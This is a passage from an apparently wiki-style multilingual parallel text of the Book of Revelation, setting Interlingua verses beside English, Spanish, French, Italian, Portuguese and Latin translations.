mantenida por un tiempo, y tiempos, y la mitad de un tiempo.\nfr: Et les deux ailes du grand aigle furent données à la femme, afin qu'elle s'envolât au désert, vers son lieu, où elle est nourrie un temps, des temps, et la moitié d'un temps, loin de la face du serpent.\nit: Ma alla donna furon date le due ali della grande aquila affinché se ne volasse nel deserto, nel suo luogo, dove è nutrita un tempo, dei tempi e la metà d'un tempo, lungi dalla presenza del serpente.\npt: E foram dadas à mulher as duas asas da grande águia, para que voasse para o deserto, ao seu lugar, onde é sustentada por um tempo, e tempos, e metade de um tempo, fora da vista da serpente.\nlt: et datae sunt mulieri duae alae aquilae magnae ut volaret in desertum in locum suum ubi alitur per tempus et tempora et dimidium temporis a facie serpentis\nE le bestia que io videva esseva simile a un leopardo, e su pedes esseva como los de un urso, e su bucca como le bucca de leon; e le dracon le dava su ipse poter e su ipse throno e grande potestate.Modificar\nE le bestia que io videva esseva simile a un leopardo, e su pedes esseva como los de un urso, e su bucca como le bucca de leon; e le dracon le dava su ipse poter e su ipse throno e grande potestate.\nen: And the beast which I saw was like unto a leopard, and his feet were as the feet of a bear, and his mouth as the mouth of a lion: and the dragon gave him his power, and his seat, and great authority.\nes: Y la bestia que vi, era semejante á un leopardo, y sus pies como de oso, y su boca como boca de león. Y el dragón le dió su poder, y su trono, y grande potestad.\nfr: La bête que je vis était semblable à un léopard; ses pieds étaient comme ceux d'un ours, et sa gueule comme une gueule de lion. Le dragon lui donna sa puissance, et son trône, et une grande autorité.\nit: E la bestia ch'io vidi era simile a un leopardo, e i suoi piedi eran come di orso, e la sua bocca come bocca di leone; e il dragone le diede la propria potenza e il proprio trono e grande potestà.\npt: E a besta que vi era semelhante ao leopardo, e os seus pés como os de urso, e a sua boca como a de leão; e o dragão deu-lhe o seu poder e o seu trono e grande autoridade.\nlt: et bestiam quam vidi similis erat pardo et pedes eius sicut ursi et os eius sicut os leonis et dedit illi draco virtutem suam et potestatem magnam\nE ille seduceva le habitantes del terra con le signales que le esseva date de facer in presentia del bestia, dicente al habitantes del terra de crear un imagine del bestia qui habeva essite vulnerate per le spada e viveva.Modificar\nE ille seduceva le habitantes del terra con le signales que le esseva date de facer in presentia del bestia, dicente al habitantes del terra de crear un imagine del bestia qui habeva essite vulnerate per le spada e viveva.\nen: And deceiveth them that dwell on the earth by the means of those miracles which he had power to do in the sight of the beast; saying to them that dwell on the earth, that they should make an image to the beast, which had the wound by a sword, and did live.\nes: Y engaña á los moradores de la tierra por las señales que le ha sido dado hacer en presencia de la bestia, mandando á los moradores de la tierra que hagan la imagen de la bestia que tiene la herida de cuchillo, y vivió.\nfr: Et elle séduisait les habitants de la terre par les prodiges qu'il lui était donné d'opérer en présence de la bête, disant aux habitants de la terre de faire une image à la bête qui avait la blessure de l'épée et qui vivait.\nit: E seduceva quelli che abitavano sulla terra coi segni che le era dato di fare in presenza della bestia, dicendo agli abitanti della terra di fare un'immagine della bestia che avea ricevuta la ferita della spada ed era tornata in vita.\npt: e, por meio dos sinais que lhe foi permitido fazer na presença da besta, enganava os que habitavam sobre a terra e lhes dizia que fizessem uma imagem à besta que recebera a ferida da espada e vivia.\nlt: et seducit habitantes terram propter signa quae data sunt illi facere in conspectu bestiae dicens habitantibus in terra ut faciant imaginem bestiae quae habet plagam gladii et vixit\nE illes cantava un cantico nove ante al throno e ante al quatro creaturas vivente e al ancianos; e nemo poteva apprender le cantico excepte le cento quaranta-quatro mille, le quales esseva comprate ab le terra.Modificar\nE illes cantava un cantico nove ante al throno e ante al quatro creaturas vivente e al ancianos; e nemo poteva apprender le cantico excepte le cento quaranta-quatro mille, le quales esseva comprate ab le terra.\nen: And they sung as it were a new song before the throne, and before the four beasts, and the elders: and no man could learn that song but the hundred and forty and four thousand, which were redeemed from the earth.\nes: Y cantaban como un cántico nuevo delante del trono, y delante de los cuatro animales, y de los ancianos: y ninguno podía aprender el cántico sino aquellos ciento cuarenta y cuatro mil, los cuales fueron comprados de entre los de la tierra.\nfr: Et ils chantaient un cantique nouveau devant le trône, et devant les quatre êtres vivants et les vieillards. Et personne ne pouvait apprendre le cantique, si ce n'est les cent quarante-quatre mille, qui avaient été rachetés de la terre.\nit: E cantavano un cantico nuovo davanti al trono e davanti alle quattro creature viventi ed agli anziani; e nessuno poteva imparare il cantico se non quei centoquarantaquattromila, i quali sono stati riscattati dalla terra.\npt: E cantavam um cântico novo diante do trono, e diante dos quatro seres viventes e dos anciãos; e ninguém podia aprender aquele cântico, senão os cento e quarenta e quatro mil, aqueles que foram comprados da terra.\nlt: et cantabant quasi canticum novum ante sedem et ante quattuor animalia et seniores et nemo poterat discere canticum nisi illa centum quadraginta quattuor milia qui empti sunt de terra\nEs illes qui non se ha contaminate con feminas, pois que illes es virgine. E illes seque le Agno ubicunque Ille vade. Illes esseva comprate de inter le homines como primitias pro Deo e le Agno.Modificar\nEs illes qui non se ha contaminate con feminas, pois que illes es virgine. E illes seque le Agno ubicunque Ille vade. Illes esseva comprate de inter le homines como primitias pro Deo e le Agno.\nen: These are they which were not defiled with women; for they are virgins. These are they which follow the Lamb whithersoever he goeth. These were redeemed from among men, being the firstfruits unto God and to the Lamb.\nes: Estos son los que con mujeres no fueron contaminados; porque son vírgenes. Estos, los que siguen al Cordero por donde quiera que fuere. Estos fueron comprados de entre los hombres por primicias para Dios y para el Cordero.\nfr: Ce sont ceux qui ne se sont pas souillés avec des femmes, car ils sont vierges; ils suivent l'agneau partout où il va. Ils ont été rachetés d'entre les hommes, comme des prémices pour Dieu et pour l'agneau;\nit: Essi son quelli che non si sono contaminati con donne, poiché son vergini. Essi son quelli che seguono l'Agnello dovunque vada. Essi sono stati riscattati di fra gli uomini per esser primizie a Dio ed all'Agnello.\npt: Estes são os que não se contaminaram com mulheres; porque são virgens. Estes são os que seguem o Cordeiro para onde quer que vá. Estes foram comprados dentre os homens para serem as primícias para Deus e para o Cordeiro.\nlt: hii sunt qui cum mulieribus non sunt coinquinati virgines enim sunt hii qui sequuntur agnum quocumque abierit hii empti sunt ex hominibus primitiae Deo et agno\nille bibera etiam del vino del ira de Deo del calice de su ira, pur e sin mixtura: e ille essera tormentate con foco e sulfure in le presentia del sancte angelos e del Agno.Modificar\nille bibera etiam del vino del ira de Deo del calice de su ira, pur e sin mixtura: e ille essera tormentate con foco e sulfure in le presentia del sancte angelos e del Agno.\nen: The same shall drink of the wine of the wrath of God, which is poured out without mixture into the cup of his indignation; and he shall be tormented with fire and brimstone in the presence of the holy angels, and in the presence of the Lamb:\nes: Este también beberá del vino de la ira de Dios, el cual está echado puro en el cáliz de su ira; y será atormentado con fuego y azufre delante de los santos ángeles, y delante del Cordero:\nfr: il boira, lui aussi, du vin de la fureur de Dieu, versé sans mélange dans la coupe de sa colère, et il sera tourmenté dans le feu et le soufre, devant les saints anges et devant l'agneau.\nit: beverà anch'egli del vino dell'ira di Dio mesciuto puro nel calice della sua ira: e sarà tormentato con fuoco e zolfo nel cospetto dei santi angeli e nel cospetto dell'Agnello.\npt: também o tal beberá do vinho da ira de Deus, que se acha preparado sem mistura, no cálice da sua ira; e será atormentado com fogo e enxofre diante dos santos anjos e diante do Cordeiro.\nlt: et hic bibet de vino irae Dei qui mixtus est mero in calice irae ipsius et cruciabitur igne et sulphure in conspectu angelorum sanctorum et ante conspectum agni\nE io audiva un voce ab le celo que diceva: Scribe: Beate le mortos que desde nunc in avante mori in le Senior. Sic, dice le Spirito, perque illes se reposa de lor fatigas, pois que lor operas les seque.Modificar\nE io audiva un voce ab le celo que diceva: Scribe: Beate le mortos que desde nunc in avante mori in le Senior. Sic, dice le Spirito, perque illes se reposa de lor fatigas, pois que lor operas les seque.\nen: And I heard a voice from heaven saying unto me, Write, Blessed are the dead which die in the Lord from henceforth: Yea, saith the Spirit, that they may rest from their labours; and their works do follow them.\nes: Y oí una voz del cielo que me decía: Escribe: Bienaventurados los muertos que de aquí adelante mueren en el Señor. Sí, dice el Espíritu, que descansarán de sus trabajos; porque sus obras con ellos siguen.\nfr: Et j'entendis du ciel une voix qui disait: Écris: Heureux dès à présent les morts qui meurent dans le Seigneur! Oui, dit l'Esprit, afin qu'ils se reposent de leurs travaux, car leurs oeuvres les suivent.\nit: E udii una voce dal cielo che diceva: Scrivi: Beati i morti che da ora innanzi muoiono nel Signore. Sì, dice lo Spirito, essendo che si riposano dalle loro fatiche, poiché le loro opere li seguono.\npt: Então ouvi uma voz do céu, que dizia: Escreve: Bem-aventurados os mortos que desde agora morrem no Senhor. Sim, diz o Espírito, para que descansem dos seus trabalhos, pois as suas obras os acompanham.\nlt: et audivi vocem de caelo dicentem scribe beati mortui qui in Domino moriuntur amodo iam dicit Spiritus ut requiescant a laboribus suis opera enim illorum sequuntur illos\nE io reguardava e ecce un nube blanc; e supra le nube sedite uno simile al Filio del Homine, qui habeva sur le capite un corona de auro, e in mano un falce acute.Modificar\nE io reguardava e ecce un nube blanc; e supra le nube sedite uno simile al Filio del Homine, qui habeva sur le capite un corona de auro, e in mano un falce acute.\nen: And I looked, and behold a white cloud, and upon the cloud one sat like unto the Son of man, having on his head a golden crown, and in his hand a sharp sickle.\nes: Y miré, y he aquí una nube blanca; y sobre la nube uno sentado semejante al Hijo del hombre, que tenía en su cabeza una corona de oro, y en su mano una hoz aguda.\nfr: Je regardai, et voici, il y avait une nuée blanche, et sur la nuée était assis quelqu'un qui ressemblait à un fils d'homme, ayant sur sa tête une couronne d'or, et dans sa main une faucille tranchante.\nit: E vidi ed ecco una nuvola bianca; e sulla nuvola assiso uno simile a un figliuol d'uomo, che avea sul capo una corona d'oro, e in mano una falce tagliente.\npt: E olhei, e eis uma nuvem branca, e assentado sobre a nuvem um semelhante a filho de homem, que tinha sobre a cabeça uma coroa de ouro, e na mão uma foice afiada.\nlt: et vidi et ecce nubem candidam et supra nubem sedentem similem Filio hominis habentem in capite suo coronam auream et in manu sua falcem acutam\nE un altere angelo exiva ex le templo, a critar con grande voce a ille qui sedeva supra le nube: Prende tu falce, e falca; pois que le hora de falcar ha arrivate, perque le messe del terra es jam matur.Modificar\nE un altere angelo exiva ex le templo, a critar con grande voce a ille qui sedeva supra le nube: Prende tu falce, e falca; pois que le hora de falcar ha arrivate, perque le messe del terra es jam matur.\nen: And another angel came out of the temple, crying with a loud voice to him that sat on the cloud, Thrust in thy sickle, and reap: for the time is come for thee to reap; for the harvest of the earth is ripe.\nes: Y otro ángel salió del templo, clamando en alta voz al que estaba sentado sobre la nube: Mete tu hoz, y siega; porque la hora de segar te es venida, porque la mies de la tierra está madura.\nfr: Et un autre ange sortit du temple, criant d'une voix forte à celui qui était assis sur la nuée: Lance ta faucille, et moissonne; car l'heure de moissonner est venue, car la moisson de la terre est mûre.\nit: E un altro angelo uscì dal tempio, gridando con gran voce a colui che sedeva sulla nuvola: Metti mano alla tua falce, e mieti; poiché l'ora di mietere è giunta, perché la mèsse della terra è ben matura.\npt: E outro anjo saiu do santuário, clamando com grande voz ao que estava assentado sobre a nuvem: Lança a tua foice e ceifa, porque é chegada a hora de ceifar, porque já a seara da terra está madura.\nlt: et alter angelus exivit de templo clamans voce magna ad sedentem super nubem mitte falcem tuam et mete quia venit hora ut metatur quoniam aruit messis terrae\nE un altere angelo, qui habeva poter super le foco, exiva ex le altar, e critava con grande voce a ille qui habeva le falce acute, dicente: Prende tu falce acute, e vindemia le racemos del vinia del terra, perque su uvas es matur.Modificar\nE un altere angelo, qui habeva poter super le foco, exiva ex le altar, e critava con grande voce a ille qui habeva le falce acute, dicente: Prende tu falce acute, e vindemia le racemos del vinia del terra, perque su uvas es matur.\nen: And another angel came out from the altar, which had power over fire; and cried with a loud cry to him that had the sharp sickle, saying, Thrust in thy sharp sickle, and gather the clusters of the vine of the earth; for her grapes are fully ripe.\nes: Y otro ángel salió del altar, el cual tenía poder sobre el fuego, y clamó con gran voz al que tenía la hoz aguda, diciendo: Mete tu hoz aguda, y vendimia los racimos de la tierra; porque están maduras sus uvas.\nfr: Et un autre ange, qui avait autorité sur le feu, sortit de l'autel, et s'adressa d'une voix forte à celui qui avait la faucille tranchante, disant: Lance ta faucille tranchante, et vendange les grappes de la vigne de la terre; car les raisins de la terre sont mûrs.\nit: E un altro angelo, che avea potestà sul fuoco, uscì dall'altare, e gridò con gran voce a quello che avea la falce tagliente, dicendo: Metti mano alla tua falce tagliente, e vendemmia i grappoli della vigna della terra, perché le sue uve sono mature.\npt: E saiu do altar outro anjo, que tinha poder sobre o fogo, e clamou com grande voz ao que tinha a foice afiada, dizendo: Lança a tua foice afiada, e vindima os cachos da vinha da terra, porque já as suas uvas estão maduras.\nlt: et alius angelus de altari qui habet potestatem supra ignem et clamavit voce magna qui habebat falcem acutam dicens mitte falcem tuam acutam et vindemia botros vineae terrae quoniam maturae sunt uvae eius\nE io videva como un mar de vitro e de foco e illes qui habeva obtenite le victoria super le bestia e super su imagine e super le numero de su nomine, le quales stava in pede supra le mar de vitro habente le citheras de Deo.Modificar\nE io videva como un mar de vitro e de foco e illes qui habeva obtenite le victoria super le bestia e super su imagine e super le numero de su nomine, le quales stava in pede supra le mar de vitro habente le citheras de Deo.\nen: And I saw as it were a sea of glass mingled with fire: and them that had gotten the victory over the beast, and over his image, and over his mark, and over the number of his name, stand on the sea of glass, having the harps of God.\nes: Y vi así como un mar de vidrio mezclado con fuego; y los que habían alcanzado la victoria de la bestia, y de su imagen, y de su señal, y del número de su nombre, estar sobre el mar de vidrio, teniendo las arpas de Dios.\nfr: Et je vis comme une mer de verre, mêlée de feu, et ceux qui avaient vaincu la bête, et son image, et le nombre de son nom, debout sur la mer de verre, ayant des harpes de Dieu.\nit: E vidi come un mare di vetro e di fuoco e quelli che aveano ottenuta vittoria sulla bestia e sulla sua immagine e sul numero del suo nome, i quali stavano in piè sul mare di vetro avendo delle arpe di Dio.\npt: E vi como que um mar de vidro misturado com fogo; e os que tinham vencido a besta e a sua imagem e o número do seu nome estavam em pé junto ao mar de vidro, e tinham harpas de Deus.\nlt: et vidi tamquam mare vitreum mixtum igne et eos qui vicerunt bestiam et imaginem illius et numerum nominis eius stantes supra mare vitreum habentes citharas Dei\nE illes cantava le cantico de Moses, servitor de Deo, e le cantico del Agno, dicente: Grande e meraviliose es tu operas, oh Senior Deo omnipotente; juste e verace es tu vias, oh Rege del nationes.Modificar\nE illes cantava le cantico de Moses, servitor de Deo, e le cantico del Agno, dicente: Grande e meraviliose es tu operas, oh Senior Deo omnipotente; juste e verace es tu vias, oh Rege del nationes.\nen: And they sing the song of Moses the servant of God, and the song of the Lamb, saying, Great and marvellous are thy works, Lord God Almighty; just and true are thy ways, thou King of saints.\nes: Y cantan el cántico de Moisés siervo de Dios, y el cántico del Cordero, diciendo: Grandes y maravillosas son tus obras, Señor Dios Todopoderoso; justos y verdaderos son tus caminos, Rey de los santos.\nfr: Et ils chantent le cantique de Moïse, le serviteur de Dieu, et le cantique de l'agneau, en disant: Tes oeuvres sont grandes et admirables, Seigneur Dieu tout puissant! Tes voies sont justes et véritables, roi des nations!\nit: E cantavano il cantico di Mosè, servitore di Dio, e il cantico dell'Agnello, dicendo: Grandi e maravigliose sono le tue opere, o Signore Iddio onnipotente; giuste e veraci sono le tue vie, o Re delle nazioni.\npt: E cantavam o cântico de Moisés, servo de Deus, e o cântico do Cordeiro, dizendo: Grandes e admiráveis são as tuas obras, ó Senhor Deus Todo-Poderoso; justos e verdadeiros são os teus caminhos, ó Rei dos séculos.\nlt: et cantant canticum Mosi servi Dei et canticum agni dicentes magna et mirabilia opera tua Domine Deus omnipotens iustae et verae viae tuae rex saeculorum\nE le grande citate esseva dividite in tres partes, e cadeva le citates del nationes; e Deo se recordava de Babylonia le grande pro dar a illo le calice del vino del furor de su ira.Modificar\nE le grande citate esseva dividite in tres partes, e cadeva le citates del nationes; e Deo se recordava de Babylonia le grande pro dar a illo le calice del vino del furor de su ira.\nen: And the great city was divided into three parts, and the cities of the nations fell: and great Babylon came in remembrance before God, to give unto her the cup of the wine of the fierceness of his wrath.\nes: Y la ciudad grande fué partida en tres partes, y las ciudades de las naciones cayeron; y la grande Babilonia vino en memoria delante de Dios, para darle el cáliz del vino del furor de su ira.\nfr: Et la grande ville fut divisée en trois parties, et les villes des nations tombèrent, et Dieu, se souvint de Babylone la grande, pour lui donner la coupe du vin de son ardente colère.\nit: E la gran città fu divisa in tre parti, e le città delle nazioni caddero; e Dio si ricordò di Babilonia la grande per darle il calice del vino del furor dell'ira sua.\npt: e a grande cidade fendeu-se em três partes, e as cidades das nações caíram; e Deus lembrou-se da grande Babilônia, para lhe dar o cálice do vinho do furor da sua ira.\nlt: et facta est civitas magna in tres partes et civitates gentium ceciderunt et Babylon magna venit in memoriam ante Deum dare ei calicem vini indignationis irae eius\nE un del septe angelos qui habeva le septe cuppas veniva, e me parlava dicente: Veni; io te monstrara le condemnation del grande meretrice, qui sta sedite supra multe aquasModificar\nE un del septe angelos qui habeva le septe cuppas veniva, e me parlava dicente: Veni; io te monstrara le condemnation del grande meretrice, qui sta sedite supra multe aquas\nen: And there came one of the seven angels which had the seven vials, and talked with me, saying unto me, Come hither; I will shew unto thee the judgment of the great whore that sitteth upon many waters:\nes: Y VINO uno de los siete ángeles que tenían las siete copas, y habló conmigo, diciéndome: Ven acá, y te mostraré la condenación de la grande ramera, la cual está sentada sobre muchas aguas:\nfr: Puis un des sept anges qui tenaient les sept coupes vint, et il m'adressa la parole, en disant: Viens, je te montrerai le jugement de la grande prostituée qui est assise sur les grandes eaux.\nit: E uno dei sette angeli che aveano le sette coppe venne, e mi parlò dicendo: Vieni; io ti mostrerò il giudicio della gran meretrice, che siede su molte acque\npt: Veio um dos sete anjos que tinham as sete taças, e falou comigo, dizendo: Vem, mostrar-te-ei a condenação da grande prostituta que está assentada sobre muitas águas;\nlt: et venit unus de septem angelis qui habebant septem fialas et locutus est mecum dicens veni ostendam tibi damnationem meretricis magnae quae sedet super aquas multas\nE le femina esseva vestite de color purpuree e scarlatin, adornate de auro, de petras preciose e de perlas; illa habeva in mano un calice de auro, plen de abominationes e del immunditia de su prostitution,Modificar\nE le femina esseva vestite de color purpuree e scarlatin, adornate de auro, de petras preciose e de perlas; illa habeva in mano un calice de auro, plen de abominationes e del immunditia de su prostitution,\nen: And the woman was arrayed in purple and scarlet colour, and decked with gold and precious stones and pearls, having a golden cup in her hand full of abominations and filthiness of her fornication:\nes: Y la mujer estaba vestida de púrpura y de escarlata, y dorada con oro, y adornada de piedras preciosas y de perlas, teniendo un cáliz de oro en su mano lleno de abominaciones y de la suciedad de su fornicación;\nfr: Cette femme était vêtue de pourpre et d'écarlate, et parée d'or, de pierres précieuses et de perles. Elle tenait dans sa main une coupe d'or, remplie d'abominations et des impuretés de sa prostitution.\nit: E la donna era vestita di porpora e di scarlatto, adorna d'oro, di pietre preziose e di perle; aveva in mano un calice d'oro pieno di abominazioni e delle immondizie della sua fornicazione,\npt: A mulher estava vestida de púrpura e de escarlata, e adornada de ouro, pedras preciosas e pérolas; e tinha na mão um cálice de ouro, cheio das abominações, e da imundícia da prostituição;\nlt: et mulier erat circumdata purpura et coccino et inaurata auro et lapide pretioso et margaritis habens poculum aureum in manu sua plenum abominationum et inmunditia fornicationis eius\nLe bestia que tu videva, esseva, sed non es plus, e debe ascender ex le abysso e vader in perdition. E illes qui habita supra le terra cuje nomines non ha essite scripte in le libro del vita, desde le fundation del mundo, se meraviliara al vider que le bestia esseva, e non es plus, e venira de nove.Modificar\nLe bestia que tu videva, esseva, sed non es plus, e debe ascender ex le abysso e vader in perdition. E illes qui habita supra le terra cuje nomines non ha essite scripte in le libro del vita, desde le fundation del mundo, se meraviliara al vider que le bestia esseva, e non es plus, e venira de nove.\nen: The beast that thou sawest was, and is not; and shall ascend out of the bottomless pit, and go into perdition: and they that dwell on the earth shall wonder, whose names were not written in the book of life from the foundation of the world, when they behold the beast that was, and is not, and yet is.\nes: La bestia que has visto, fué, y no es; y ha de subir del abismo, y ha de ir á perdición: y los moradores de la tierra, cuyos nombres no están escritos en el libro de la vida desde la fundación del mundo, se maravillarán viendo la bestia que era y no es, aunque es.\nfr: La bête que tu as vue était, et elle n'est plus. Elle doit monter de l'abîme, et aller à la perdition. Et les habitants de la terre, ceux dont le nom n'a pas été écrit dès la fondation du monde dans le livre de vie, s'étonneront en voyant la bête, parce qu'elle était, et qu'elle n'est plus, et qu'elle reparaîtra. -\nit: La bestia che hai veduta era, e non è, e deve salire dall'abisso e andare in perdizione. E quelli che abitano sulla terra i cui nomi non sono stati scritti nel libro della vita fin dalla fondazione del mondo, si maraviglieranno, vedendo che la bestia era, e non è, e verrà di nuovo.\npt: A besta que viste era e já não é; todavia está para subir do abismo, e vai-se para a perdição; e os que habitam sobre a terra e cujos nomes não estão escritos no livro da vida desde a fundação do mundo se admirarão, quando virem a besta que era e já não é, e que tornará a vir.\nlt: bestiam quam vidisti fuit et non est et ascensura est de abysso et in interitum ibit et mirabuntur inhabitantes terram quorum non sunt scripta nomina in libro vitae a constitutione mundi videntes bestiam quia erat et non est\nIstes pugnara contra le Agno, e le Agno les vincera, perque ille es le Senior del seniores e Rege del reges; e illes qui con ille sta es vocate, electos e fideles.Modificar\nIstes pugnara contra le Agno, e le Agno les vincera, perque ille es le Senior del seniores e Rege del reges; e illes qui con ille sta es vocate, electos e fideles.\nen: These shall make war with the Lamb, and the Lamb shall overcome them: for he is Lord of lords, and King of kings: and they that are with him are called, and chosen, and faithful.\nes: Ellos pelearán contra el Cordero, y el Cordero los vencerá, porque es el Señor de los señores, y el Rey de los reyes: y los que están con Él son llamados, y elegidos, y fieles.\nfr: Ils combattront contre l'agneau, et l'agneau les vaincra, parce qu'il est le Seigneur des seigneurs et le Roi des rois, et les appelés, les élus et les fidèles qui sont avec lui les vaincront aussi.\nit: Costoro guerreggeranno contro l'Agnello, e l'Agnello li vincerà, perché egli è il Signor dei signori e il Re dei re; e vinceranno anche quelli che sono con lui, i chiamati, gli eletti e fedeli.\npt: Estes combaterão contra o Cordeiro, e o Cordeiro os vencerá, porque é o Senhor dos senhores e o Rei dos reis; vencerão também os que estão com ele, os chamados, e eleitos, e fiéis.\nlt: hii cum agno pugnabunt et agnus vincet illos quoniam Dominus dominorum est et rex regum et qui cum illo sunt vocati et electi et fideles\nE ille critava con voce potente, dicente: Ha cadite, ha cadite Babylonia le grande, e illa deveniva habitation demonios e custodia pro tote le spiritos immunde e refugio pro le aves immunde e abominabile.Modificar\nE ille critava con voce potente, dicente: Ha cadite, ha cadite Babylonia le grande, e illa deveniva habitation demonios e custodia pro tote le spiritos immunde e refugio pro le aves immunde e abominabile.\nen: And he cried mightily with a strong voice, saying, Babylon the great is fallen, is fallen, and is become the habitation of devils, and the hold of every foul spirit, and a cage of every unclean and hateful bird.\nes: Y clamó con fortaleza en alta voz, diciendo: Caída es, caída es la grande Babilonia, y es hecha habitación de demonios, y guarida de todo espíritu inmundo, y albergue de todas aves sucias y aborrecibles.\nfr: Il cria d'une voix forte, disant: Elle est tombée, elle est tombée, Babylone la grande! Elle est devenue une habitation de démons, un repaire de tout esprit impur, un repaire de tout oiseau impur et odieux,\nit: Ed egli gridò con voce potente, dicendo: Caduta, caduta è Babilonia la grande, ed è divenuta albergo di demonî e ricetto d'ogni spirito immondo e ricetto d'ogni uccello immondo e abominevole.\npt: E ele clamou com voz forte, dizendo: Caiu, caiu a grande Babilônia, e se tornou morada de demônios, e guarida de todo espírito imundo, e guarida de toda ave imunda e detestável.\nlt: et exclamavit in forti voce dicens cecidit cecidit Babylon magna et facta est habitatio daemoniorum et custodia omnis spiritus inmundi et custodia omnis volucris inmundae\nPois que tote le nationes ha bibite del vino del ira de su fornication, e le reges del terra ha fornicate con illa, e le mercantes del terra se inricchiva con le abundantia de su luxuria.Modificar\nPois que tote le nationes ha bibite del vino del ira de su fornication, e le reges del terra ha fornicate con illa, e le mercantes del terra se inricchiva con le abundantia de su luxuria.\nen: For all nations have drunk of the wine of the wrath of her fornication, and the kings of the earth have committed fornication with her, and the merchants of the earth are waxed rich through the abundance of her delicacies.\nes: Porque todas las gentes han bebido del vino del furor de su fornicación; y los reyes de la tierra han fornicado con ella, y los mercaderes de la tierra se han enriquecido de la potencia de sus deleites.\nfr: parce que toutes les nations ont bu du vin de la fureur de son impudicité, et que les rois de la terre se sont livrés avec elle à l'impudicité, et que les marchands de la terre se sont enrichis par la puissance de son luxe.\nit: Poiché tutte le nazioni han bevuto del vino dell'ira della sua fornicazione, e i re della terra han fornicato con lei, e i mercanti della terra si sono arricchiti con la sua sfrenata lussuria.\npt: Porque todas as nações têm bebido do vinho da ira da sua prostituição, e os reis da terra se prostituíram com ela; e os mercadores da terra se enriqueceram com a abundância de suas delícias.\nlt: quia de ira fornicationis eius biberunt omnes gentes et reges terrae cum illa fornicati sunt et mercatores terrae de virtute deliciarum eius divites facti sunt\nQuanto illa se ha glorificate in delicias, assi vos da a illa tormento e lucto. Pois que illa dice in su corde: Io es sedite como regina e io non es vidua e io non videra unquam lucto,Modificar\nQuanto illa se ha glorificate in delicias, assi vos da a illa tormento e lucto. Pois que illa dice in su corde: Io es sedite como regina e io non es vidua e io non videra unquam lucto,\nen: How much she hath glorified herself, and lived deliciously, so much torment and sorrow give her: for she saith in her heart, I sit a queen, and am no widow, and shall see no sorrow.\nes: Cuanto ella se ha glorificado, y ha estado en deleites, tanto dadle de tormento y llanto; porque dice en su corazón: Yo estoy sentada reina, y no soy viuda, y no veré llanto.\nfr: Autant elle s'est glorifiée et plongée dans le luxe, autant donnez-lui de tourment et de deuil. Parce qu'elle dit en son coeur: Je suis assise en reine, je ne suis point veuve, et je ne verrai point de deuil!\nit: Quanto ella ha glorificato se stessa ed ha lussureggiato, tanto datele di tormento e di cordoglio. Poiché ella dice in cuor suo: Io seggo regina e non son vedova e non vedrò mai cordoglio,\npt: Quanto ela se glorificou, e em delícias esteve, tanto lhe dai de tormento e de pranto; pois que ela diz em seu coração: Estou assentada como rainha, e não sou viúva, e de modo algum verei o pranto.\nlt: quantum glorificavit se et in deliciis fuit tantum date illi tormentum et luctum quia in corde suo dicit sedeo regina et vidua non sum et luctum non videbo\nmercantias de auro, de argento, de petras preciose, de perlas, de lino fin, de purpura, de seta, de scarlatin; e omne sorta de ligno odorose, e omne sorta de vasos de ebore e omne sorta de vasos de ligno preciosissime e de bronzo, de ferro e de marmore,Modificar\nmercantias de auro, de argento, de petras preciose, de perlas, de lino fin, de purpura, de seta, de scarlatin; e omne sorta de ligno odorose, e omne sorta de vasos de ebore e omne sorta de vasos de ligno preciosissime e de bronzo, de ferro e de marmore,\nen: The merchandise of gold, and silver, and precious stones, and of pearls, and fine linen, and purple, and silk, and scarlet, and all thyine wood, and all manner vessels of ivory, and all manner vessels of most precious wood, and of brass, and iron, and marble,\nes: Mercadería de oro, y de plata, y de piedras preciosas, y de margaritas, y de lino fino, y de escarlata, y de seda, y de grana, y de toda madera olorosa, y de todo vaso de marfil, y de todo vaso de madera preciosa, y de cobre, y de hierro, y de mármol;\nfr: cargaison d'or, d'argent, de pierres précieuses, de perles, de fin lin, de pourpre, de soie, d'écarlate, de toute espèce de bois de senteur, de toute espèce d'objets d'ivoire, de toute espèce d'objets en bois très précieux, en airain, en fer et en marbre,\nit: mercanzie d'oro, d'argento, di pietre preziose, di perle, di lino fino, di porpora, di seta, di scarlatto; e ogni sorta di legno odoroso, e ogni sorta d'oggetti d'avorio e ogni sorta d'oggetti di legno preziosissimo e di rame, di ferro e di marmo,\npt: mercadorias de ouro, de prata, de pedras preciosas, de pérolas, de linho fino, de púrpura, de seda e de escarlata; e toda espécie de madeira odorífera, e todo objeto de marfim, de madeira preciosíssima, de bronze, de ferro e de mármore;\nlt: mercem auri et argenti et lapidis pretiosi et margaritis et byssi et purpurae et serici et cocci et omne lignum thyinum et omnia vasa eboris et omnia vasa de lapide pretioso et aeramento et ferro et marmore\ne cannella e aromas, e perfumos, e unguentos, e incenso, e vino, e oleo, e flor de farina, e grano, e boves, e oves, e cavallos, e carros, e corpores e animas del homines.Modificar\ne cannella e aromas, e perfumos, e unguentos, e incenso, e vino, e oleo, e flor de farina, e grano, e boves, e oves, e cavallos, e carros, e corpores e animas del homines.\nen: And cinnamon, and odours, and ointments, and frankincense, and wine, and oil, and fine flour, and wheat, and beasts, and sheep, and horses, and chariots, and slaves, and souls of men.\nes: Y canela, y olores, y ungüentos, y de incienso, y de vino, y de aceite; y flor de harina y trigo, y de bestias, y de ovejas; y de caballos, y de carros, y de siervos, y de almas de hombres.\nfr: de cinnamome, d'aromates, de parfums, de myrrhe, d'encens, de vin, d'huile, de fine farine, de blé, de boeufs, de brebis, de chevaux, de chars, de corps et d'âmes d'hommes.\nit: e la cannella e le essenze, e i profumi, e gli unguenti, e l'incenso, e il vino, e l'olio, e il fior di farina, e il grano, e i buoi, e le pecore, e i cavalli, e i carri, e i corpi e le anime d'uomini.\npt: e canela, especiarias, perfume, mirra e incenso; e vinho, azeite, flor de farinha e trigo; e gado, ovelhas, cavalos e carros; e escravos, e até almas de homens.\nlt: et cinnamomum et amomum et odoramentorum et unguenti et turis et vini et olei et similae et tritici et iumentorum et ovium et equorum et raedarum et mancipiorum et animarum hominum\nAi! ai! Le grande citate que esseva vestite de lino fin e de purpura e de scarlatin, e adornate de auro e de petras preciose e de perlas! Un assi grande ricchessa esseva devastate in un hora.Modificar\nAi! ai! Le grande citate que esseva vestite de lino fin e de purpura e de scarlatin, e adornate de auro e de petras preciose e de perlas! Un assi grande ricchessa esseva devastate in un hora.\nen: And saying, Alas, alas that great city, that was clothed in fine linen, and purple, and scarlet, and decked with gold, and precious stones, and pearls!\nes: Y diciendo: ¡Ay, ay, aquella gran ciudad, que estaba vestida de lino fino, y de escarlata, y de grana, y estaba dorada con oro, y adornada de piedras preciosas y de perlas!\nfr: et 